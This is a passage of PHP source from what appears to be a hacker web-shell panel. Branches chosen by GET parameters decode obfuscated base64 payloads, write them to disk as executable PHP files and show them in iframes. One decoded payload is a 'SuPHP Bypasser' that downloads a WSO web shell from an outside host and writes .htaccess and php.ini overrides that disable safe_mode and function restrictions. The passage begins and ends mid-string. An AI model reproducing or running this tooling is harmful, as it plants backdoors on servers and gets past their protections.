2UFNjc0owRkNRMFJGUmtkSVNVcExURTFPVDFCUlVsTlVWVlpYV0ZsYVlXSmpaR1ZtWjJocGFtdHNiVzV2Y0hGeWMzUjFkbmQ0ZVhvd01USXpORFUyTnpnNUt5OG5LU2s3WlhaaGJDZ2tUMDh3TUU4d01FOHdLVHM9JykpO3JldHVybjs/Pn5Ea3I5Tkhlbk5IZW5OSGUxemZ1a2dGTWFYZG95amNVSW1iMTlvVUF4eWIxOG1SdHdtd0o0TFQwOU5IcjhYVHpFWFJKd213SlhMVDA5TkhlRVhIcjhYaHRPTlQwOFhIZUVYSHI4UGtyOFhUekVYVDA4WEh0SUxUekVYSHI4WFR6RVhSdE9OVHpFWFR6RVhIZUVwUnRmeWRtT2xGbWx2ZmJmcUR5a3dCQXNLYTA5YWFyeWlXTWtlQzBPTE9NY3VjMGxwVU1wSGRyMXNBdW5PRmFZemFtY0NHeXA2SGVyWkh6VzFZakY0S1VTdk5VRlNrMHl0VzBPeU9MZndVQXBSVHIxS1Qxbk9BbFlBYWFjYkJ5bERDQmtqY29hTWMyaXBETXNTZEI1dkZ1eVpGM08xZm1mNEdiUFhIVHd6WWVBMll6STVoWjhtaFVMcEsyY2pkbzl6Y1VJTFR6RVhIcjhYVHpFWGhUc2xmTXlTaHRPTlR6RVhUekVYVHpFcEtYPT10TWFqRG84SXdqeEpkMk81d3VPbEd1VzlrWllvT0xjb09MQ213b2ttQzI5U2QzdzlrWkhYSGVFWEhlRW1OanhNZDNrc3dvMWxmb2l2Y2UwbUFyOVRhdEYrZVdQOGNNOVZmdG5NQ0JZbE5VZkJjYmtMQ0I1aWtabnpEYnBsTlVGeGt6NFl0angwRGJPU2NUNXVjYldJYWJZbEZKbmJkM2tMRnVrbEYzSElndG50R1VuNEEyYWpmYmtwZnVMOFIzT3Bmb3hsTmpYdmNNOVZmZTRZdGp4amNCNTBjYncrTnVZMEdCeGxOSTBodGJPbEd1T2lGTWFpd3VTWXRJbEpkM2tMY2J3NndvT2lGMmlsY3RFWkZ1V0l3ekVYWWpjb09qU1l0SWw5ZVdQa0RCNVhmYldJR1gwaHRCa3ZGTU9sRmpQSWNvOTBmb2FMd2V5WGZ0RWpIZUUyWUxjb0tYMGh0YjA4UjNZMEdCeGxOSTBodFR4Sk5qeE1kMjUwd29jaUMyQTlrMU9pRG85c0NVRklGMmw2Y1QwbVlaRitCM2lUY0JZZndyZmxmdG5hRjJhWmRNeXNjVUU4Y005VmZ0bmpkMnh2RmowbXd6RVhZamNvT0pGK2VXUGthMjlaY3VuWmNiWXpOdDlNZDI1ME5KbitOdDlNZDI1ME5qWHZDajQ4RmU0OGNNOVZmdG56RGJwbE5VRnhrWm5NQ0JZbE5VZkJjYmtMQ0I1aWt6NFl0SUw4REI1WGZiV0lmdWxYY1QwbWZvYTRmdEZJZE15c2NUMG1mb3laYzJhMGtabjJDQngxY1QwbUR1TzBGZVB2UjNmM2ZaNTFGb1kzY2JZMEMyOTJEQjVpUk1ZdmRVOG13dVlwR01BOWt6dzRrejRZdElMOERCNVhmYldJZnVsWGNUMG1GM2FKZEJsMGtabjJDQngxY1QwbU8yYTB3eWF6Y2J3bU5qeEpGajQ4UjJjdmRtVytOdDlYTkp3N3RKT3BmdVBJTlVuaUZta2lHVUlwS1hQTGZveVpjMmEwd2UwSWt5OVdUMVlBQlpmMENia21jYldtYlRTaGtveTFmb2l2RkpFOXd0RnZOMnkxZm9pdkZqMHhrelNoa3VZcGZvQUlOVW5FZnVrcGRVSVBrdU9pRk1mbGZ0TFZodE9pZmJPUGQzd3BoVFNoa29mbGZ0RTl3cm5NREJ4bGIyZmxmeTlqZDI1MGNCNTBGWklMRjJsMGNVTDd0bW5aY0JmZ2RCeTBDMklQa1o4OGZvbDBkb0EraHQ0UU5aTDhidDkwRGJPU2NUNHZGMkxtUnRPbWNiV1Nrb3dYR3RMN3RKT2ljbzFwZEpFOXdvYTRGb3h2Y29BUGszWG1SdE9KSHVpZEhhMHBLWHBsQzJpdnd0d2tOdUUrTm9jdmRtV0ljTXlqY1QwbWFveVBkMjFpa1puekRicGxOVUYwa3o1YUYyYVpkTXlzY1VFNndleEpOanhNZDI1MHdvWXZkbzlaTlVGakhlRTJZTGNva3o0TENCT3NEQjVkSHkwOFIyY3ZkbVcrTnQ5Sk5qWHZjTTlWZmU0OFIzRSt3alNoY0JZUGRaRUpOdUVJQ0J4cGMyNDlrMllsZG1PbEZKRitOb2N2ZG1XSWNNeWpjVDBtYU1hWmNveVZDVUZJRjJsNmNUMG1IVUYrVzI5TGNCV0lXbUxJTm9jdmRtV0lDMjlTZDN3OWtaSFhIZUMyT0xDbU5JMGhHeVlsQzNhWkRiTzVOdDlNZDI1ME5Kbjh3ZXhNZDI1MHdvWXZkbzlaTlVGakhlRTJZTGNva3o1Skh1aUVEbzkwZEJ5cGR0NWpkMjA4UjJjdmRtVyt3dVhZdGp4TWQyNTB3b1l2ZG85Wk5VRmpIZUUyWUxjb2t6NXBGWjF6Y0JIVkMyOXNOdDlNZDI1ME5qWHZjTTlWZmU0OFIzRStlV1A4RnRuaWRvbG1kajBtQzJhVmZvYVprejQ4Y005VmZ0bk1DQllsTlVmQmNia0xDQjVpa1puekRicGxOVUZ4a3o1dUZNYWxmdUhJSEpFNndyNWxmWm5SREJ4U2Nhd0lndG5LZFoxT0FseVV3RTBoZ3RuSkh1SUlndG5IZDNDekFsOXJUbEhJZ3RuWUZKNVVjYWt2d3VYOFIyY3ZkbVcrTnQ5WE5Kdzd0alM9YWxWblJQSXE=';
  228.     $file = fopen("getuser.php" ,"w+");
  229.     $write = fwrite ($file ,base64_decode($getuser));
  230.     fclose($file);
  231.         chmod("getuser.php",0755);
  232.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;></p><iframe src=getuser.php width=75% height=65% frameborder=0></iframe>"; }
  233.        
  234.     elseif(isset($_GET['filter'])) {
  235.     $filter ='PD9waHAgLyogQ29kZWQgQnkgeFNlY3VyaXR5IHwgYjB4QGhvdG1haWwuY29tIHwgaXMtc2VjLmNvbSAqLyRPT08wMDAwMDA9dXJsZGVjb2RlKCclNjYlNjclMzYlNzMlNjIlNjUlNjglNzAlNzIlNjElMzQlNjMlNmYlNWYlNzQlNmUlNjQnKTskT09PMDAwME8wPSRPT08wMDAwMDB7NH0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezN9LiRPT08wMDAwMDB7NX07JE9PTzAwMDBPMC49JE9PTzAwMDAwMHsyfS4kT09PMDAwMDAwezEwfS4kT09PMDAwMDAwezEzfS4kT09PMDAwMDAwezE2fTskT09PMDAwME8wLj0kT09PMDAwME8wezN9LiRPT08wMDAwMDB7MTF9LiRPT08wMDAwMDB7MTJ9LiRPT08wMDAwTzB7N30uJE9PTzAwMDAwMHs1fTskT09PMDAwTzAwPSRPT08wMDAwMDB7MH0uJE9PTzAwMDAwMHsxMn0uJE9PTzAwMDAwMHs3fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTV9OyRPME8wMDBPMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezF9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHsxNH07JE8wTzAwME8wTz0kTzBPMDAwTzAwLiRPT08wMDAwMDB7MTF9OyRPME8wMDBPMDA9JE8wTzAwME8wMC4kT09PMDAwMDAwezN9OyRPME8wME9PMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezh9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezE2fTskT09PMDAwMDBPPSRPT08wMDAwMDB7M30uJE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHs4fS4kT09PMDAwMDAwezE0fS4kT09PMDAwMDAwezh9OyRPT08wTzBPMDA9X19GSUxFX187JE9PMDBPMDAwMD0weGFmMDtldmFsKCRPT08wMDAwTzAoJ0pFOHdNREJQTUU4d01EMGtUMDlQTURBd1R6QXdLQ1JQVDA4d1R6QlBNREFzSjNKaUp5azdKRTh3VHpBd1QwOHdNQ2drVHpBd01FOHdUekF3TERCNE5HRmtLVHNrVDA4d01FOHdNRTh3UFNSUFQwOHdNREF3VHpBb0pFOVBUekF3TURBd1R5Z2tUekJQTURCUFR6QXdLQ1JQTURBd1R6QlBNREFzTUhneE4yTXBMQ2RGYm5SbGNubHZkWGRyYUZKSVdVdE9WMDlWVkVGaFFtSkRZMFJrUm1aSFowbHBTbXBNYkUxdFVIQlJjVk56Vm5aWWVGcDZNREV5TXpRMU5qYzRPU3N2UFNjc0owRkNRMFJGUmtkSVNVcExURTFPVDFCUlVsTlVWVlpYV0ZsYVlXSmpaR1ZtWjJocGFtdHNiVzV2Y0hGeWMzUjFkbmQ0ZVhvd01USXpORFUyTnpnNUt5OG5LU2s3WlhaaGJDZ2tUMDh3TUU4d01FOHdLVHM9JykpO3JldHVybjs/Pn5Ea3I5Tkhlbk5IZW5OSGUxemZ1a2dGTWFYZG95amNVSW1iMTlvVUF4eWIxOG1SdHdtd0o0TFQwOU5IcjhYVHpFWFJKd213SlhMVDA5TkhlRVhIcjhYaHRPTlQwOFhIZUVYSHI4UGtyOFhUekVYVDA4WEh0SUxUekVYSHI4WFR6RVhSdE9OVHpFWFR6RVhIZUVwUnRmeWRtT2xGbWx2ZmJmcUR5a3dCQXNLYTA5YWFyeWlXTWtlQzBPTE9NY3VjMGxwVU1wSGRyMXNBdW5PRmFZemFtY0NHeXA2SGVyWkh6VzFZakY0S1VTdk5VRlNrMHl0VzBPeU9MZndVQXBSVHIxS1Qxbk9BbFlBYWFjYkJ5bERDQmtqY29hTWMyaXBETXNTZEI1dkZ1eVpGM08xZm1mNEdiUFhIVHd6WWVBMll6STVoWjhtaFVMcEsyY2pkbzl6Y1VJTFR6RVhIcjhYVHpFWGhUc2xmTXlTaHRPTlR6RVhUekVYVHpFcEtYPT10TWFqRG84SXdJMGhOb2t2Y3VMSUNNZmpkMnh2RmowbXcwQTBPVE95V1pGK2VXUDhmb2wwZG9BK3dyYTRmdWtpQzNXSWFiWWxGSmY2d3JjWmQyMElBb3l6RjNmTHd1WElXbUxJR3lZbEMzYVpEYk81d2VYdmZvbDBkb0ErZVdQOGNNOVpkVW5zY2JPUGQyVzlrMW5OQTFXbU5JMGhOdVkwR0J4bE5JMGh3MndYR3RuN2VXUEl3dEVJd29PcEYzblNDYkw2d29rU2QyWXFLWDBod3RFSXd0bjNEQk8wRGVQSVlUQVhGdUk3ZVdQSXd0RUl3b2lsREJmUGZlUElIakVYRnVJN2VXUEl3dEVJd3VuaWNvT3BkTUY2d2VpWEdlU1l0SkVJd3RFSUNNOVpjb2FaS0pFeEZ1SUljb3l6RG9hTHd0WXRXQWtuT2pXN2VXUGt3b2tpQzJzbUZNOTFkTVdzQzI5U2QzdzZ3dFl5WXJBME9BSDdlV1BJd3RFSXdveHBkTUFzRG9hcGMyaTBLSkV4SHpFbEtYMGh0QmN2ZG1Xc2NNeXNEQng1S0puQUNCaXZkQnI3ZVdQSXd0RUljTTlWZnQxekRicGxLSkV4SG1uNGVXcDllV1BqQ2puNEhVbjdlV1BJd3RFSXdvT3BGM25TQ2JMNndva1NkMllxS1gwaHd0RUl3dG4zREJPMERlUElIakVYRnVJN2VXUEl3dEVJd29pbERCZlBmZVBJSHpXMUZ1STdlV1BJd3RFSXd1bmljb09wZE1GNndlaVhHZVNZdElMSUNNOVpjb2FaS0pFeEZ1SUljb3l6RG9hTHd0WXRXQWtuT2pXN2VXUGt3b2tpQzJzbUZNOTFkTVdzQzI5U2QzdzZ3dFl5WXJBME9BSDdlV1BJd3RFSXdveHBkTUFzRG9hcGMyaTBLSkV4SHpFbEtYMGh0VW5NZDI1MFJCY2lkQmxTR1RQSWFveVBkMjFpS1gwaHd0RUl3dG5NZDI1MFJiWXBHTUE2d2VyWkZ1STdlV1Brd3UwWXRtT0xHWDBod3RFSXdva3ZGTU9sRkoxM0RCTzBEZVB4RnVJN2VXUEl3dEVJQ005WmNvYVpSYlkwR0J4bEtNT3ZmdU9sY2VTWXRtMFl0Slk0RjJhand1U1l0SWxKZDNrTGNidzZ3ZXlYR3RuTENiWVBjQldJdzBrbldMeW9ZZVNZdG0wWXRqWHZGM081ZG9BK2VXUGtOb1lsZG1PbEZqNFl0SUw4Y005VmZ0bk1DQllsTlVmQUNCaXZkQnJtd3VZMEdCeGxOVWZNZDI1MFJiWXBHTUE2d2VyMUZ1Vzd3b2N2ZG1Xc2YyYXBjMmkwS0pFM0hlRW1ObFNxYmI1eUd1T1pDQlkwd3lhemNid21HSm5vRk05c3d5bmlGM1kzY3RFNk9lWHZjTTlWZmU0OEZlNFl0SUw4Zm9hNGZveVpjQnJJZE15c2NUMG1Gb3l6RjNmTGtabnBjZTBtQ2puNGt6NDhSM09sR3VPaUZNYWlOanhKRmo0WXRJTDhEQjVYZmJXSWZ1bFhjVDBtRjNhSmRCbDBrWm5WQ0IxbE5VZkxkWkZJZk15U2ZCQTlrMGE0ZnVraUMzV213b2xMTlVmNEYyYWprejQ4Q213K3dqU2hrb2wwR0pFOXdveVpGTXk1aHRMN3RKT1hDYll6ZjJXSU5VRUxiMW5OQTFPZGszbmlGM1kzY3RmZktYUExjYmlYd2UwSWNiaVhkbzlMY1VJSmJvNEpSdE9nQXI5VGF5U21Gb3l6RjNmTGsxMHBLWHBwY0pJTGIxbk5BMU9kazJPdmsxMHB3dVNoY0JZUGRaRUpOb2taTmp4MGNiaTBDYmtsQ1VucGNlMG1Dam40SFVGK3dqU2hjTTlaaHRPcE5URTdrb0w4QzI5MWRtV1Brb2E0RnRMN2tvTHFoWmw3dEpPbEd1RVp3ZTBJY2JpWGRvOUxjVUlKS0p3U2tvYTRGeVNMRGEwcEtYcFNEYlkwaHRPMUYyYVpSdE80UnRPMURCV1Nrb2ZwY3RYTGNvYTBSdE9QZDIxbFJ0T3pEdExJTlVFTGNiaVhIalNoY0JZUGRaRUprdWF6Y2JrRmRKdzdnV3BsQzJpdnd0dzhSM09sR3VPaUZNYWlOSnc3Z1dwbEMyaXZ3dHc4Q213K051T2lDTXhsd29rdkZNT2xGajBtSFVGSWYybExmb0k5a3p3M2tVRitOdU9aTmp4MGN0bjNEQk8wRGUwbUtURW1OanhNZDI1MHdvY2lDMkE5azFjbEZNT2lkTXJtd3VZcEdNQTlrenJtTkxZdmNvYUx3cms1d2VQOFIyY3ZkbVcrTnQ5MGNlNDhmb1crTm9jdmRtV0ljTXlqY1QwbWFNYVpjb3lWQ1VGSUYybDZjVDBtSFVGK2tNNUpGM0U3Tm9jdmRtV0lDMjlTZDN3OWtaSDJZakMyS1RMbU5taVRjQlkxRk1sMEdUWHZjTTlWZmU0OFIyY3ZkbVcrTnQ5MGNlNDhSM09aTmp4MEZqNDhmb1dJZjJsTGZvSTlrekxYa3o0OGNNOVZmdG5NQ0JZbE5VZkJjYmtMQ0I1aWtabnpEYnBsTlVGeGt6NXdkMjFsRm95bWNVRTZOdDlNZDI1ME5qWHZmb1crTnVPTE5qeE1kMjUwd29jaUMyQTlrMWNsRk1PaWRNcm13dVlwR01BOWt6cm1OSmNWQ21ZWEt6eGl3b2laY0JDOWsyaTBmdUU2Ulo5cEZaMXpjQkhWQzI5c1IzY0pSWkZJRjNPNWRvQTlrM09sR3VXc2NvYWpkM2tpZm9sdmRqUElkTTlWY1VGK05vY3ZkbVdJQzI5U2QzdzlrWkgyWWpDMktUTG1OTWx6UmJZbENaNWpkMjA4UjJjdmRtVytOdDlpTmpYdmNNOVZmZTQ4UjNPTE5qWHZmdXcrTnVPWk5qeDBjdG4zREJPMERlMG1LVEVtTmp4TWQyNTB3b2NpQzJBOWsxY2xGTU9pZE1ybXd1WXBHTUE5a3pybU5MYXNDQmxTd2VQSU50OU1kMjUwTmpYdmZvVytOdU9MTmp4TWQyNTB3b2NpQzJBOWsxY2xGTU9pZE1ybXd1WXBHTUE5a3pybU5KY1ZDbVlYS3p4TWQyNTB3b1l2ZG85Wk5VRmpZakMyWWpMNWt6NUpIdWlkQ2JPZkRvOTBkQnlwZHQ1amQyMDhSMmN2ZG1XK050OU1kMjUwTmpYdmZvVytOdDkwRmo0OGZ1dytOdU9Md3VmcGN1T1BOVUY1SHRGSURvYXBjMmkwTlVGeEt0RitOb2N2ZG1XSWNNeWpjVDBtYU1hWmNveVZDVUZJRjJsNmNUMG1IVUYrTzNrbGNiT3p3eU92d2VQOFIyY3ZkbVcrTnQ5MGNlNDhmb1dJRG9hcGMyaTBOVUZ4S3RGK05vY3ZkbVdJY015amNUMG1hTWFaY295VkNVRklGMmw2Y1QwbUhVRitrTTVKRjNFN05vY3ZkbVdJQzI5U2QzdzlrWkgyWWpDMktUTG1ObHdWV0o1dU50OU1kMjUwTkpFc3dleE1kMjUwd29ZdmRvOVpOVUZqWWpDMllqTDVrejVLZFoxT0FseVVOdDlNZDI1ME5KRXN3ZXhNZDI1MHdvWXZkbzlaTlVGallqQzJZakw1a3o1WUZKNVVjYWt2TnQ5TWQyNTBOalh2Y005VmZlNDhSM09MTmpYdmZ1dytOdDkwQ0JrU2NUNEpLWFA3YWxWblJQSXE=';
  236.     $file = fopen("filter.php" ,"w+");
  237.     $write = fwrite ($file ,base64_decode($filter));
  238.     fclose($file);
  239.         chmod("filter.php",0755);
  240.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;></p><iframe src=filter.php width=75% height=65% frameborder=0></iframe>"; }
  241.        
  242.        elseif(isset($_GET['cloudf'])) {
  243.     $cloudf ='PD9waHAgLyogQ29kZWQgQnkgeFNlY3VyaXR5IHwgYjB4QGhvdG1haWwuY29tIHwgaXMtc2VjLmNvbSAqLyRPT08wMDAwMDA9dXJsZGVjb2RlKCclNjYlNjclMzYlNzMlNjIlNjUlNjglNzAlNzIlNjElMzQlNjMlNmYlNWYlNzQlNmUlNjQnKTskT09PMDAwME8wPSRPT08wMDAwMDB7NH0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezN9LiRPT08wMDAwMDB7NX07JE9PTzAwMDBPMC49JE9PTzAwMDAwMHsyfS4kT09PMDAwMDAwezEwfS4kT09PMDAwMDAwezEzfS4kT09PMDAwMDAwezE2fTskT09PMDAwME8wLj0kT09PMDAwME8wezN9LiRPT08wMDAwMDB7MTF9LiRPT08wMDAwMDB7MTJ9LiRPT08wMDAwTzB7N30uJE9PTzAwMDAwMHs1fTskT09PMDAwTzAwPSRPT08wMDAwMDB7MH0uJE9PTzAwMDAwMHsxMn0uJE9PTzAwMDAwMHs3fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTV9OyRPME8wMDBPMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezF9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHsxNH07JE8wTzAwME8wTz0kTzBPMDAwTzAwLiRPT08wMDAwMDB7MTF9OyRPME8wMDBPMDA9JE8wTzAwME8wMC4kT09PMDAwMDAwezN9OyRPME8wME9PMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezh9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezE2fTskT09PMDAwMDBPPSRPT08wMDAwMDB7M30uJE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHs4fS4kT09PMDAwMDAwezE0fS4kT09PMDAwMDAwezh9OyRPT08wTzBPMDA9X19GSUxFX187JE9PMDBPMDAwMD0weDU1NDtldmFsKCRPT08wMDAwTzAoJ0pFOHdNREJQTUU4d01EMGtUMDlQTURBd1R6QXdLQ1JQVDA4d1R6QlBNREFzSjNKaUp5azdKRTh3VHpBd1QwOHdNQ2drVHpBd01FOHdUekF3TERCNE5HRmtLVHNrVDA4d01FOHdNRTh3UFNSUFQwOHdNREF3VHpBb0pFOVBUekF3TURBd1R5Z2tUekJQTURCUFR6QXdLQ1JQTURBd1R6QlBNREFzTUhneE4yTXBMQ2RGYm5SbGNubHZkWGRyYUZKSVdVdE9WMDlWVkVGaFFtSkRZMFJrUm1aSFowbHBTbXBNYkUxdFVIQlJjVk56Vm5aWWVGcDZNREV5TXpRMU5qYzRPU3N2UFNjc0owRkNRMFJGUmtkSVNVcExURTFPVDFCUlVsTlVWVlpYV0ZsYVlXSmpaR1ZtWjJocGFtdHNiVzV2Y0hGeWMzUjFkbmQ0ZVhvd01USXpORFUyTnpnNUt5OG5LU2s3WlhaaGJDZ2tUMDh3TUU4d01FOHdLVHM9JykpO3JldHVybjs/Pn5Ea3I5Tkhlbk5IZW5OSGUxemZ1a2dGTWFYZG95amNVSW1iMTlvVUF4eWIxOG1SdHdtd0o0TFQwOU5IcjhYVHpFWFJKd213SlhMVDA5TkhlRVhIcjhYaHRPTlQwOFhIZUVYSHI4UGtyOFhUekVYVDA4WEh0SUxUekVYSHI4WFR6RVhSdE9OVHpFWFR6RVhIZUVwUnRmeWRtT2xGbWx2ZmJmcUR5a3dCQXNLYTA5YWFyeWlXTWtlQzBPTE9NY3VjMGxwVU1wSGRyMXNBdW5PRmFZemFtY0NHeXA2SGVyWkh6VzFZakY0S1VTdk5VRlNrMHl0VzBPeU9MZndVQXBSVHIxS1Qxbk9BbFlBYWFjYkJ5bERDQmtqY29hTWMyaXBETXNTZEI1dkZ1eVpGM08xZm1mNEdiUFhIVHd6WWVBMll6STVoWjhtaFVMcEsyY2pkbzl6Y1VJTFR6RVhIcjhYVHpFWGhUc2xmTXlTaHRPTlR6RVhUekVYVHpFcEtYPT10TWFqRG84SXdJMGhOb2N2Rk0wSWRCYTBEbzlMTlVmV1QxWUFrejRZdElMOGZvbDBkb0Erd3JrNUZveXpGWm5lZG85MWNvY1NDYmtsd3QwK3dyazV3dWlUY0JZMUZNbDBHVUU4UjNPcGZveGxOSTBodFR4amNCNTBjYncrZVdQa051WTBHQnhsTkkwaHRiT2xHdU9pRk1haXd1U1l0SWxNZDI1MFJCY2lkQmxTR1RQSWFveVBkMjFpS1gwaHRCY3ZkbVdzRjJsNmNUUElIVFlYR2VTWXRJbEpkM2tMY2J3NndvT3ZmdU9sY3RFeEZ1V0l3MllqQzJZakN6U1l0SWw5ZVdQa0RCNVhmYldJR1gwaHRCa3ZGTU9sRmpQSWNvOTBmb2FMd2V5WGZ0RWpDMllqQzJZaktYMGh0YjBZdElMOFIzWTBHQnhsTkkwaHRUeFhGTUErQlpZZndyazVGb3l6RlpuZWRvOTFjcmNTQ2JrbHd5U2piVFh2RnVrbE5JMGh0VHhwZG1uMWZ0bjBHYm5sTlVmMGNiaTBrWm5WQ0IxbE5VZjBDYmttY2JXbXd1Y2lkdWFsTlVGSlJKT2dBcjlUYXlTbWZveVpjMmEwazEwVndKRnZOanhwZG1uMWZ0bjBHYm5sTlVmemZCa3NEYldtd281aWRCQTlrM1kwQ2JrMGtabjJDQngxY1QwbVdtbFhDYll6a1pFdk5qeEpGajRZdGp4MGNiaTBDYmtsQ1VuamQyeHpOVUZ6SHRGSUZNOTNGejBtSFRFbXdvNWlkQkE5azNZMUNKRitlV3BNZnVFVmVXcDNjQmtzQ0JsU1JJMGhDTXh2Y1o0WXRNY3ZGbWFzUkkwaGN1a3BjQlkwUkJZdmRNNWxDM1dWZVdwMkNKNFl0TVlYQ0I1bGR0NFl0TWN2Rm1hc0ZaNFl0TWl2ZEJBVmVXcHpEbzlYUkkwaENNeHZjM0hWTnQ5MGNiaTBDYmtsQ1Q0OENtdyt3alNoa29sMEdKRTl3b3laRk15NWh0TDd0Sk8wQ2JrbWNiV0lOVUVMYjFuTkExT2RrM09pRk1mbGZ0ZmZLWFBMRjNhSmNvOXNDQmxWRlpFOXdvYTRGb3h2Y29BUHdseFZ3SlhMYjFuTkExT2RrM1kxQ0pmZmhUU2hEQkNQa3k5V1QxWUFCWmZ6Zm95WmZ0ZmZoVW43dE1jdkZNYWlDMklQa3VZMUNNT3ZkQnlwZG1ISUNiSElrdVkxQ0pMSUdYUExGM2FKRlpFOXdybjBGTWxzaHRPemZCd3BLWFBMQ21sWENiWXp3ZTBJV29mbGZvaXZGM09KR0I1aWRCQVBrdVkxQ21IVmt1T2lGTWZsZnRMN3RNbE1ob2xWZnVjaWR0SUxDbWxYQ2JZemhVTElHWHBsQzJpdnd0dzhjTTlWZnRuTUNCWWxOVWZBQ0JpdmRCcm13dVlwR01BOWt6a1hmdEZJQzI5U2QzdzlrMk9pRk1zWmNCV21ObGtsQ0JYSVVhRUlLSkU4UjJjdmRtVytOb2xWRnVhMHd1TzVGb0E5azNPbEd1V213dWNpZHVhbE5VRkpSSk9KR2JuaUYzSFZ3SkZJRjJsNmNUMG1IaldtTkpFOENtdyt3alNoZ1dwOXRtMGhjQllQZFpFSk5va1pOanhNZDI1MHdvY2lDMkE5azFPaURvOXNDVUZJRjJsNmNUMG1IbW4wa3o0SVcyOUxjQldJV21MSUd5WWxDM2FaRGJPNXd0MCt3b3dYR3JuUGQzT3NDQmxTUk1ZdmRVRXNOSm5wRloxemNCSFZDMjlzd2VYdmNNOVZmZTRKS1hQN2FsVm5SUElx';
  244.     $file = fopen("cloudf.php" ,"w+");
  245.     $write = fwrite ($file ,base64_decode($cloudf));
  246.     fclose($file);
  247.         chmod("cloudf.php",0755);
  248.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;></p><iframe src=cloudf.php width=75% height=65% frameborder=0></iframe>"; }
  249.        
  250.     elseif(isset($_GET['suphp'])) {
  251.     $suphp ='PD8NCi8qDQogQ29kZWQgQnkgOiB4U2VjdXJpdHkNCiBIb21lcGFnZSA6IHNlYzRldmVyLmNvbQ0KIEVtYWlsICAgIDogYjB4QGhvdG1haWwuY29tDQogQmxvZyAgICAgOiBkcmtyb29vei53b3JkcHJlc3MuY29tDQogR3JlZXRzIDIgOiBiMHggLSBOby1RUlFSIC0gUi5CLkcgSGFDa0VyIC0gRGFtYW5lRHogLSBGb1ggSGFDa0VyIC0gaXMtc2VjLmNvbSANCiovDQplY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KPHRpdGxlPlN1UEhQIEJ5cGFzc2VyPC90aXRsZT4NCjxwcmU+QnlwYXNzIFN1UEhQIDpEPC9wcmU+DQo8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGF0aCcgdmFsdWU9Ii5kaXJuYW1lKF9fRklMRV9fKS4iIHN0eWxlPSdmb250LWZhbWlseTogVGFob21hIHNpemU6IDJwdCA7IGNvbG9yOiByZWQ7IGJvcmRlcjogMXB4IGRvdHRlZCByZWQnPg0KPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NoZWxsJyB2YWx1ZT0naHR0cDovL2ZpbGVzLnhha2VwLmJpei9zaGVsbHMvUEhQL3dzby50eHQnIHN0eWxlPSdmb250LWZhbWlseTogVGFob21hIHNpemU6IDJwdCA7IGNvbG9yOiByZWQ7IGJvcmRlcjogMXB4IGRvdHRlZCByZWQnPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0J5cGFzcycgbmFtZT0nc3RhcnQnIHN0eWxlPSdmb250LWZhbWlseTogVGFob21hIHNpemU6IDJwdCA7IGNvbG9yOiByZWQ7IGJvcmRlcjogMXB4IGRvdHRlZCByZWQnPjxicj4iOw0KZWNobyAiPHRleHRhcmVhIHJvd3M9JzQnIGNvbHM9JzYwJyBzdHlsZT0nZm9udC1mYW1pbHk6IFRhaG9tYSBzaXplOiAycHQgOyBjb2xvcjogcmVkOyBib3JkZXI6IDFweCBkb3R0ZWQgcmVkJz54U2VjdXJpdHkgTW9kZSA6LSBcbiI7DQoJaWYoJF9QT1NUWydzdGFydCddKSB7DQoJJHBhdGggPSAkX1BPU1RbJ3BhdGgnXTsNCgkkZmlsZSA9ICRfUE9TVFsnc2hlbGwnXTsNCgkkaHRhY2Nlc3MgPSAic3VQSFBfQ29uZmlnUGF0aCAkcGF0aC94c2VjdXJpdHkvcGhwLmluaSI7DQoJJHBocGluaSA9ICJjMkZtWlY5dGIyUmxJRDBnVDBaR0NuTjFhRzl6YVc0dVpYaGxZM1YwYjNJdVpuVnVZeTVpYkdGamEyeHBjM1FnUFNCT1QwNUZDbVJwYzJGaWJHVmZablZ1WTNScGIyNXpJRDBnVGs5T1JRPT0iOw0KCSRkaXIgPSAieHNlY3VyaXR5IjsgDQoJCWlmKGZpbGVfZXhpc3RzKCRkaXIpKSB7DQoJCQllY2hvICJbK10geFNlY3VyaXR5IEZvbGRlciBUaGVyZSBCZWZvcmUgOilcbiI7DQoJCX0gZWxzZSB7DQoJCQlAbWtkaXIoJGRpcik7IHsNCgkJCQllY2hvICJbK10geFNlY3VyaXR5IEZvbGRlciBDcmVhdGVkIDpEXG4iOw0KCQl9IH0NCgkjIEdlbmVyYXRlIFNoM0xMDQoJJGZvcGVuID0gZm9wZW4oInhzZWN1cml0eS94c2VjLnBocCIsJ3cnKTsNCgkkc2hlbGwgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOw0KCSRzd3JpdGUgPSBmd3JpdGUoJGZvcGVuICwkc2hlbGwpOw0KCWlmKCRzd3JpdGUpew0KCQllY2hvICJbK10gU2gzTEwgSGFzIEJlZW4gR2VuZXJhdGVkIE5hbWUgOiB4c2VjLnBocCBcbiI7DQoJfSBlbHNlIHsNCgkJZWNobyAiW35dIENhbid0IEdlbmVyYXRlIFNoM0xMXG4iOw0KCX0NCglmY2xvc2UoJGZvcGVuKTsNCgkjIEdlbmVyYXRlIEh0YWNjZXNzDQoJJGhvcGVuID0gZm9wZW4oInhzZWN1cml0eS8uaHRhY2Nlc3MiLCAidyIpOw0KCSRod3JpdGUgPSBmd3JpdGUoJGhv